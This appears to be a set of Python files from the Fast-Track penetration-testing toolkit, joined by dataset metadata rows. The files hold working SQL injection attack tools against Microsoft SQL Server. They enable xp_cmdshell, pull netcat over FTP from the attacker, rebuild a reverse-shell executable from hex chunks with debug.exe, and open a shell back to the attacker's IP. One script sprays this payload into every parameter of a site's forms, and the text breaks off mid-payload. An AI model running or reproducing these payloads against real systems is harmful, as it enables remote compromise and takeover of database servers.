WAS DUE TO FAST-TRACK ONLY SUPPORTING CIDR NOTATION, PLEASE PUT THE IP ADDR IN A 192.168.1.1/24 LIKE FORMAT\n\n" sys.exit() # set variables, log paths, fix / in filenames print ("\n[-] Launching SQL Ping, this may take a while to footprint.... [-]\n") sanitize=scanfirst1.replace(r"/",".cidr.") logpath=("%s/bin/logs/" % (definepath)) filename=("SQLServersUDP%s" % (sanitize)) launchsqlping=subprocess.Popen(r"""%smsfcli auxiliary/scanner/mssql/mssql_ping THREADS=10 RHOSTS=%s E > %s%s""" % (metapath,scanfirst1,logpath,filename), shell=True).wait() parse1=file("bin/logs/%s" % (filename),"r").readlines() filewrite=file("bin/appdata/sqlopen.txt","w") for line in parse1: match1=re.search("SQL Server information for", line) # find IP addr from results if match1: # parse through metasploit output ipaddr=line.replace(":","") ipaddr=ipaddr.split() ipaddr=ipaddr[5] # find port from results match2=re.search("tcp",line) if match2: port=line.split() port=port[3] ipaddr1=ipaddr+":"+port ipaddr1=ipaddr1.rstrip() filewrite.write(ipaddr1) filewrite.write("\n") filewrite.close() except Exception,e: print "\nSomething went wrong...Printing error "+e+"\n\n"
4,190
Python
.py
95
39.136842
202
0.682007
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,337
updatemeta.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/updatemeta.py
#!/usr/bin/env python import os import re try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line print " Updating Metasploit...." metaupdate=os.system("svn update %s" % (metapath))
495
Python
.py
19
23
75
0.711864
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,338
sqlftppayload.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlftppayload.py
#!/usr/bin/env python import pexpect import os import time import sys import subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass try: targeturl=sys.argv[4] except IndexError: include.print_banner() print """ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Requirements: PExpect, ProFTP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SQL Injector FTP This menu will automatically set up an FTP server for you, create a user account, place netcat in the home directory, do SQL injection, reverse ftp netcat off of the system, shut down FTP, delete the user account just created, and give you a reverse shell on the affected system. """ sqlquestion1=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah <ctrl>-c to exit to Main Menu... Enter here: """) createdir=subprocess.Popen("mkdir /home/ftpshare", shell=True).wait() adduser=subprocess.Popen("useradd ftpuser -d /home/ftpshare -s /bin/false", shell=True).wait() time.sleep(1) ncopy=subprocess.Popen("cp /pentest/windows-binaries/tools/nc.exe /home/ftpshare/", shell=True).wait() permissions=subprocess.Popen("chmod 755 /home/ftpshare", shell=True).wait() try: child1=pexpect.spawn('passwd ftpuser') child1.sendline('ftpuser') child1.expect('Retype*') child1.sendline('ftpuser') child1.interact() except Exception: print ' Enabled FTPUser Account...' print ' Created user FTPUser and made home directory of /home/ftpshare' import socket try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print " No internet connection detected, please enter your IP address manually.." ipaddr=raw_input("Enter your IP Address: ") string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE;exec master..xp_cmdshell 'echo open %s> moo.txt';exec master..xp_cmdshell 'echo failedlogin1>> moo.txt' ;exec master..xp_cmdshell 'echo failedlogin2>> moo.txt';exec master..xp_cmdshell 'echo user>> moo.txt';exec master..xp_cmdshell 'echo ftpuser>> moo.txt';exec master..xp_cmdshell 'echo ftpuser>> moo.txt';exec master..xp_cmdshell 'echo bin>> moo.txt';exec master..xp_cmdshell 'echo get nc.exe>> moo.txt';exec master..xp_cmdshell 'echo bye>> moo.txt';exec master..xp_cmdshell 'ftp -s:moo.txt';exec master..xp_cmdshell 'del moo.txt';exec master..xp_cmdshell 'nc.exe %s 8080 -e cmd.exe'--""" % (ipaddr,ipaddr)) sqlreplace = targeturl.replace("'INJECTHERE", """%s""" % (string1)) try: import urllib print ' Starting FTP Service...' ftpstart=subprocess.Popen("proftpd &", shell=True).wait() time.sleep(3) print ' FTP Service started...' print ' Starting NetCat, a window should pop-up' ncstart=pexpect.spawn('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector" -e nc -lvp 8080 2> /dev/null') print ' NetCat Started....' print " Sending exploit...." time.sleep(3) connect=urllib.urlopen("""%s""" % (sqlreplace).replace(" ", "%20")) print " You should have a shell if everything went good....Might take a couple seconds\n" print ' Sleeping 5 seconds then running cleanup' time.sleep(5) cleanup1=os.system('userdel ftpuser;rm -rf /home/ftpshare/;killall proftpd') except Exception: print ' Something went wrong, did you enter the IP address right?? Do you have netcat and FTP running??\n\nAlso, might not be running as "SA".' time.sleep(5) cleanup1=subprocess.Popen("userdel ftpuser;rm -rf /home/ftpshare/;killall proftpd", shell=True).wait()
4,058
Python
.py
78
48.24359
854
0.706757
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,339
sqlmanual.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlmanual.py
#!/usr/bin/env python import socket import pexpect import os import time import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass try: targeturl=sys.argv[4] port=sys.argv[6] ipaddr=sys.argv[5] except IndexError: include.print_banner() print """ The manual portion allows you to customize your attack for whatever reason. You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE So for example, when the tool asks you for the SQL Injectable URL, type: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah """ targeturl=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah <ctrl>-c to exit to Main Menu... Enter here: """) ipaddr=raw_input("Enter the IP Address of server with NetCat Listening: ") port=raw_input("Enter Port number with NetCat listening: ") #ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # # Had to break up into multiple different requests due to the size of the payload and URL request # # Binary2Hex code used from IllWill, very nice small reverse payload. # # While this may look a little ugly from a cleanliness perspective, theres a weird bug echoing files through SQL. When using >> it doubles whatever # the command you are entering, for example if you wanted ot echo blah, it would echo blah blah into the file, which caused a major issue when # getting the debug format right. # # So I got around the above problem by echoing individual text files and then typing them into one large one. This ended up working (phew). # # I ran the binary through olly as well as process explorer and filemon. It only makes one call out when executed and thats to the destiation thats # specified. Safe executable. # # Re-Enable XP_Cmdshell stored procedure just in case its disabled string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE--""") # First portion, starting text files from a binary hex file using IllWill's small reverse payload. string2=(r"';exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt'--") string3=(r"';exec master..xp_cmdshell 'echo e 0180>4.txt'--") string4=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt'--") string5=(r"';exec master..xp_cmdshell 'echo e 0200 >6.txt'--") string6=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt'--") string7=(r"';exec master..xp_cmdshell 'echo e 0280 >8.txt'--") string8=(r"';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt'--") string9=(r"';exec master..xp_cmdshell 'echo e 0300 >10.txt'--") string10=(r"';exec master..xp_cmdshell 'echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt'--") string11=(r"';exec master..xp_cmdshell 'echo e 0380 >12.txt'--") string12=(r"';exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt'--") string13=(r"';exec master..xp_cmdshell 'echo e 0400 >14.txt'--") string14=(r"';exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt'--") string15=(r"';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string16=(r"';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string17=(r"';exec master..xp_cmdshell 'echo e 0500 >18.txt'--") string18=(r"';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt'--") string19=(r"';exec master..xp_cmdshell 'echo e 0580 >20.txt'--") string20=(r"';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt'--") # Convert the crazy text files into one file string21=(r"';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt'--") # Convert to an executable string22=(r"';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe'--") # Cleanup string23=(r"';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt'--") string24=(r"';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll'--") # Actually execute the reverse shell string25=(r"';exec master..xp_cmdshell 'reverse.exe %s %s'--" % (ipaddr,port)) sqlreplace1 = targeturl.replace("'INJECTHERE", """%s""" % (string1)) sqlreplace2 = targeturl.replace("'INJECTHERE", """%s""" % (string2)) sqlreplace3 = targeturl.replace("'INJECTHERE", """%s""" % (string3)) sqlreplace4 = targeturl.replace("'INJECTHERE", """%s""" % (string4)) sqlreplace5 = targeturl.replace("'INJECTHERE", """%s""" % (string5)) sqlreplace6 = targeturl.replace("'INJECTHERE", """%s""" % (string6)) sqlreplace7 = targeturl.replace("'INJECTHERE", """%s""" % (string7)) sqlreplace8 = targeturl.replace("'INJECTHERE", """%s""" % (string8)) sqlreplace9 = targeturl.replace("'INJECTHERE", """%s""" % (string9)) sqlreplace10 = targeturl.replace("'INJECTHERE", """%s""" % (string10)) sqlreplace11 = targeturl.replace("'INJECTHERE", """%s""" % (string11)) sqlreplace12 = targeturl.replace("'INJECTHERE", """%s""" % (string12)) sqlreplace13 = targeturl.replace("'INJECTHERE", """%s""" % (string13)) sqlreplace14 = targeturl.replace("'INJECTHERE", """%s""" % (string14)) sqlreplace15 = targeturl.replace("'INJECTHERE", """%s""" % (string15)) sqlreplace16 = targeturl.replace("'INJECTHERE", """%s""" % (string16)) sqlreplace17 = targeturl.replace("'INJECTHERE", """%s""" % (string17)) sqlreplace18 = targeturl.replace("'INJECTHERE", """%s""" % (string18)) sqlreplace19 = targeturl.replace("'INJECTHERE", """%s""" % (string19)) sqlreplace20 = targeturl.replace("'INJECTHERE", """%s""" % (string20)) sqlreplace21 = targeturl.replace("'INJECTHERE", """%s""" % (string21)) sqlreplace22 = targeturl.replace("'INJECTHERE", """%s""" % (string22)) sqlreplace23 = targeturl.replace("'INJECTHERE", """%s""" % (string23)) sqlreplace24 = targeturl.replace("'INJECTHERE", """%s""" % (string24)) sqlreplace25 = targeturl.replace("'INJECTHERE", """%s""" % (string25)) print "\n" try: import urllib2 print " Sending initial request to enable xp_cmdshell if disabled...." connection1=urllib2.urlopen("""%s""" % (sqlreplace1).replace(" ", "%20")) print " Sending first portion of payload...." connection2=urllib2.urlopen("""%s""" % (sqlreplace2).replace(" ", "%20")) connection3=urllib2.urlopen("""%s""" % (sqlreplace3).replace(" ", "%20")) connection4=urllib2.urlopen("""%s""" % (sqlreplace4).replace(" ", "%20")) connection5=urllib2.urlopen("""%s""" % (sqlreplace5).replace(" ", "%20")) print " Sending second portion of payload...." connection6=urllib2.urlopen("""%s""" % (sqlreplace6).replace(" ", "%20")) connection7=urllib2.urlopen("""%s""" % (sqlreplace7).replace(" ", "%20")) connection8=urllib2.urlopen("""%s""" % (sqlreplace8).replace(" ", "%20")) connection9=urllib2.urlopen("""%s""" % (sqlreplace9).replace(" ", "%20")) print " Sending next portion of payload..." connection10=urllib2.urlopen("""%s""" % (sqlreplace10).replace(" ", "%20")) connection11=urllib2.urlopen("""%s""" % (sqlreplace11).replace(" ", "%20")) connection12=urllib2.urlopen("""%s""" % (sqlreplace12).replace(" ", "%20")) connection13=urllib2.urlopen("""%s""" % (sqlreplace13).replace(" ", "%20")) connection14=urllib2.urlopen("""%s""" % (sqlreplace14).replace(" ", "%20")) connection15=urllib2.urlopen("""%s""" % (sqlreplace15).replace(" ", "%20")) connection16=urllib2.urlopen("""%s""" % (sqlreplace16).replace(" ", "%20")) connection17=urllib2.urlopen("""%s""" % (sqlreplace17).replace(" ", "%20")) print " Sending the last portion of the payload..." connection18=urllib2.urlopen("""%s""" % (sqlreplace18).replace(" ", "%20")) connection19=urllib2.urlopen("""%s""" % (sqlreplace19).replace(" ", "%20")) connection20=urllib2.urlopen("""%s""" % (sqlreplace20).replace(" ", "%20")) connection21=urllib2.urlopen("""%s""" % (sqlreplace21).replace(" ", "%20")) connection22=urllib2.urlopen("""%s""" % (sqlreplace22).replace(" ", "%20")) print ' Running cleanup...' connection23=urllib2.urlopen("""%s""" % (sqlreplace23).replace(" ", "%20")) connection24=urllib2.urlopen("""%s""" % (sqlreplace24).replace(" ", "%20")) print " Running the payload on the server..." connection25=urllib2.urlopen("""%s""" % (sqlreplace25).replace(" ", "%20")) print " You should have a shell if everything went good..Might take a couple seconds\n" except Exception: print ' Something went wrong, did you enter the IP address right??\n\nAlso, might not be running as "SA".' time.sleep(5)
15,236
Python
.py
143
103.895105
1,531
0.684416
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,340
sqlbinarypayloadpost.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlbinarypayloadpost.py
#!/usr/bin/env python from urllib2 import urlopen from ClientForm import ParseResponse import os import sys import re import socket import time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() try: import psyco psyco.full() except ImportError: pass try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print " No internet connection detected, please enter your IP address manually.." ipaddr=raw_input(" Enter your IP Address: ") try: target=sys.argv[4] except IndexError: print """ This portion allows you to attack all forms on a specific website without having to specify each parameter. Just type the URL in, and Fast-Track will auto SQL inject to each parameter looking for both error based injection as well as blind based SQL injection. Simply type the website you want to attack, and let it roll. Example: http://www.sqlinjectablesite.com/index.aspx <ctrl>-c to exit to Main Menu... """ target=raw_input(" Enter the URL to attack: ") try: match=re.search("http://", target) if not match: match2=re.search("https://", target) if not match2: choicehttp=raw_input(''' Choice which of the following to attack: 1. HTTP 2. HTTPS Enter number: ''') if choicehttp=='1': target=("http://"+target) if choicehttp=='2': target=("https://"+target) except Exception, e: print e ncstarter=os.popen2('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Binary Payload SQL Injector" -e nc -lvp 4444 2> /dev/null') try: response = urlopen(str(target)) forms = ParseResponse(response, backwards_compat=False) x = 0 check = str(forms[x]) while (check != '[]'): form = forms[x] writefile=file("parse.txt","w") writefile.write("%s" % (form)) writefile.close() output = open('parse.txt', 'r') parsed = open('parse2.txt', 'w') print " Forms detected...attacking the parameters in hopes of exploiting SQL Injection..\n" for line in output.readlines(): match = re.search('Control', line) if (match): notinject = re.search('readonly|CheckboxControl|ImageControl|SelectControl|Submit|IgnoreControl|ListControl|SubmitControl|RadioControl', line) if (not notinject): my_match = re.search('\((.*)\)', line) newstr = str(my_match.group(1)) newer_match = re.match('(.*)=', newstr) print >> parsed, newer_match.group(1) parsed.close() parsed=file("parse2.txt","r").readlines() for line in parsed: my_input = line.rstrip() print " Sending payload to parameter: %s" % (line) form[my_input] = (r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE;exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt';exec master..xp_cmdshell 'echo e 0180>4.txt';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt' ;exec master..xp_cmdshell 'echo e 0200 >6.txt';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt';exec master..xp_cmdshell 'echo e 0280 >8.txt';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt';exec master..xp_cmdshell 'echo e 0300 >10.txt';exec master..xp_cmdshell 'echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt';exec master..xp_cmdshell 'echo e 0380 >12.txt' ;exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt';exec master..xp_cmdshell 'echo e 0400 >14.txt' ;exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa 